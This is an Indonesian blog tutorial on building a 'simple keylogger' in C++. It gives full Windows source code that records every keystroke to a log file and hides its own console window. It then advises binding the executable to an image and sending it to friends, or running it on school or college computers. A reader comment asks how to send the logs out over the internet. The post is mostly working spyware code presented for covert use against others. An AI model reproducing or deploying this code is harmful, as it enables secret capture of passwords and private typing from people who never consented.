Skip to main content

MEMBUAT KEYLOGGER SEDERHANA DENGAN C++

Hai semua, pada kesempatan kali ini saya akan berbagi dan share tentang bagaimana membuat keylogger sederhana dengan C+ +. Kita Langsung Aja Yuk.

Perlengkapan Yang Dibutuhkan:
1. Dev C + +. Kalau belum punya bisa download di http://www.bloodsheed.net/
2. Cukup Paham Dengan Visual C + +

Langkah-Langkahnya:
1. Install Dev C + + kemudian jalankan Dev C + + compiler.
2. Pilih file -> New -> Source File (Akan terlihat lembar kerja kosong)
3. Copy code dibawah ini dan pastekan ke lembar kerja kosong tersebut
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{
Stealth();
char i;


while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;


FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");


cout << key_stroke << endl;


if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}


/* *********************************** */


void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
4. Compile kode tersebut (ctrl+F9)



5. Sekarang coba jalankan program dengan cara, pilih Execute -> Run (ctrl+F10)

Sekarang keylogger Anda akan berjalan di sistem/PC anda. apapun yang Anda ketik menggunakan keyboard, akan disimpan dalam file log.txt.
Anda dapat melihat file log.txt pada tempat dimana Anda menyimpan file.

Mengikat file exe dengan gambar atau file dan mengirimkannya ke teman Anda.
(0r)
jika Anda memiliki akses fisik ke perguruan tinggi / sistem sekolah, lalu salin file exe dalam sistem itu dan menjalankannya.

Hanya itu saja yang bisa saya sampaikan. Semoga ilmu diatas bisa bermanfaat bagi kita semua. Mohon maaf jika ada yang salah.

Comments

  1. This comment has been removed by the author.

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. :f whah makasih gan. saya jg lagi belajar c++ nih, bbrapa waktu lalu liat dosen buat keylog soal nya, keren. (msih sem II ni..)
    oh ya gan, kalo misal program tsb diletakkan pada komp lain, tp hasil log tetap dikirim ke pc kita lewat internet kira2 bisa ngga ya? lebih rumit ya? hehe.. trims...
    :-g
    trus apakah emang keluar warning sperti ini? :?
    C:\Users\Lorenzo\Documents\Dev-C++\BCS.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

    ReplyDelete

Post a Comment